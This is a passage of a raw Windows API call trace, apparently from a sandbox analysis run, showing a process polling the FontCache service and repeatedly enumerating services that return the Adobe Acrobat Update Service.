lpServiceStatus=0x893e074*(dwServiceType=0x20, dwCurrentState=0x3, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0130.425] CloseServiceHandle (hSCObject=0x321d4d8) returned 1 [0130.426] SleepEx (dwMilliseconds=0xfa, bAlertable=1) returned 0x0 [0130.756] OpenServiceW (hSCManager=0x321d5c8, lpServiceName="FontCache", dwDesiredAccess=0x4) returned 0x321d4d8 [0130.756] QueryServiceStatus (in: hService=0x321d4d8, lpServiceStatus=0x893e074 | out: lpServiceStatus=0x893e074*(dwServiceType=0x20, dwCurrentState=0x3, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0130.756] CloseServiceHandle (hSCObject=0x321d4d8) returned 1 [0130.757] SleepEx (dwMilliseconds=0xfa, bAlertable=1) returned 0x0 [0131.037] OpenServiceW (hSCManager=0x321d5c8, lpServiceName="FontCache", dwDesiredAccess=0x4) returned 0x321d758 [0131.037] QueryServiceStatus (in: hService=0x321d758, lpServiceStatus=0x893e074 | out: lpServiceStatus=0x893e074*(dwServiceType=0x20, dwCurrentState=0x3, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0131.038] CloseServiceHandle (hSCObject=0x321d758) returned 1 [0131.038] SleepEx (dwMilliseconds=0xfa, bAlertable=1) returned 0x0 [0131.334] OpenServiceW (hSCManager=0x321d5c8, lpServiceName="FontCache", dwDesiredAccess=0x4) returned 0x321d4d8 [0131.335] QueryServiceStatus (in: hService=0x321d4d8, lpServiceStatus=0x893e074 | out: lpServiceStatus=0x893e074*(dwServiceType=0x20, dwCurrentState=0x3, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0131.335] CloseServiceHandle (hSCObject=0x321d4d8) returned 1 [0131.335] SleepEx (dwMilliseconds=0xfa, bAlertable=1) returned 0x0 [0131.632] OpenServiceW (hSCManager=0x321d5c8, lpServiceName="FontCache", dwDesiredAccess=0x4) returned 0x321d4d8 [0131.632] QueryServiceStatus (in: hService=0x321d4d8, lpServiceStatus=0x893e074 | out: lpServiceStatus=0x893e074*(dwServiceType=0x20, dwCurrentState=0x3, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0131.633] CloseServiceHandle (hSCObject=0x321d4d8) returned 1 [0131.633] SleepEx (dwMilliseconds=0xfa, bAlertable=1) returned 0x0 [0131.897] OpenServiceW (hSCManager=0x321d5c8, lpServiceName="FontCache", dwDesiredAccess=0x4) returned 0x321d4d8 [0131.897] QueryServiceStatus (in: hService=0x321d4d8, lpServiceStatus=0x893e074 | out: lpServiceStatus=0x893e074*(dwServiceType=0x20, dwCurrentState=0x3, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0131.897] CloseServiceHandle (hSCObject=0x321d4d8) returned 1 [0131.897] SleepEx (dwMilliseconds=0xfa, bAlertable=1) returned 0x0 [0132.368] OpenServiceW (hSCManager=0x321d5c8, lpServiceName="FontCache", dwDesiredAccess=0x4) returned 0x321d690 [0132.368] QueryServiceStatus (in: hService=0x321d690, lpServiceStatus=0x893e074 | out: lpServiceStatus=0x893e074*(dwServiceType=0x20, dwCurrentState=0x3, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0132.368] CloseServiceHandle (hSCObject=0x321d690) returned 1 [0136.504] QueryServiceStatus (in: hService=0x321d690, lpServiceStatus=0x893e074 | out: lpServiceStatus=0x893e074*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0136.504] CloseServiceHandle (hSCObject=0x321d690) returned 1 [0136.504] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x893e4f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e4f8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x45, [1]=0x93, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0136.505] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x893e1fc, nSize=0xc3 | out: lpBuffer="") returned 0x0 [0136.505] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x893e568*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e568*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x54, [1]=0x93, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0136.505] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x893e4d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e4d4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x45, [1]=0x93, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0136.505] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x893e558*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x54, [1]=0x93, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x893e558*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x54, [1]=0x93, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0136.505] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d4d8 [0136.505] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.506] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a308f8 [0136.506] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a308f8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a308f8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.519] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.520] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.520] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.520] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.522] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d780 [0136.522] EnumServicesStatusW (in: hSCManager=0x321d780, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.522] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.522] EnumServicesStatusW (in: hSCManager=0x321d780, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.524] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.524] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.524] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.524] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.526] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.526] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.526] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.526] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.528] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0136.528] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.528] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.528] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.530] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d4d8 [0136.530] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.530] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.530] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.532] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d780 [0136.532] EnumServicesStatusW (in: hSCManager=0x321d780, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.532] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.532] EnumServicesStatusW (in: hSCManager=0x321d780, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.534] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0136.534] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.535] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.535] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.536] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d7a8 [0136.536] EnumServicesStatusW (in: hSCManager=0x321d7a8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.537] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.537] EnumServicesStatusW (in: hSCManager=0x321d7a8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.538] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.538] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.539] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.539] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.540] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.540] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.541] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.541] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.542] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.542] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.543] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.543] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.544] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0136.545] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.545] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.545] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.547] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0136.547] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.548] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.548] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.549] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.550] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.550] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.550] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.552] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.552] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.553] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.553] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, 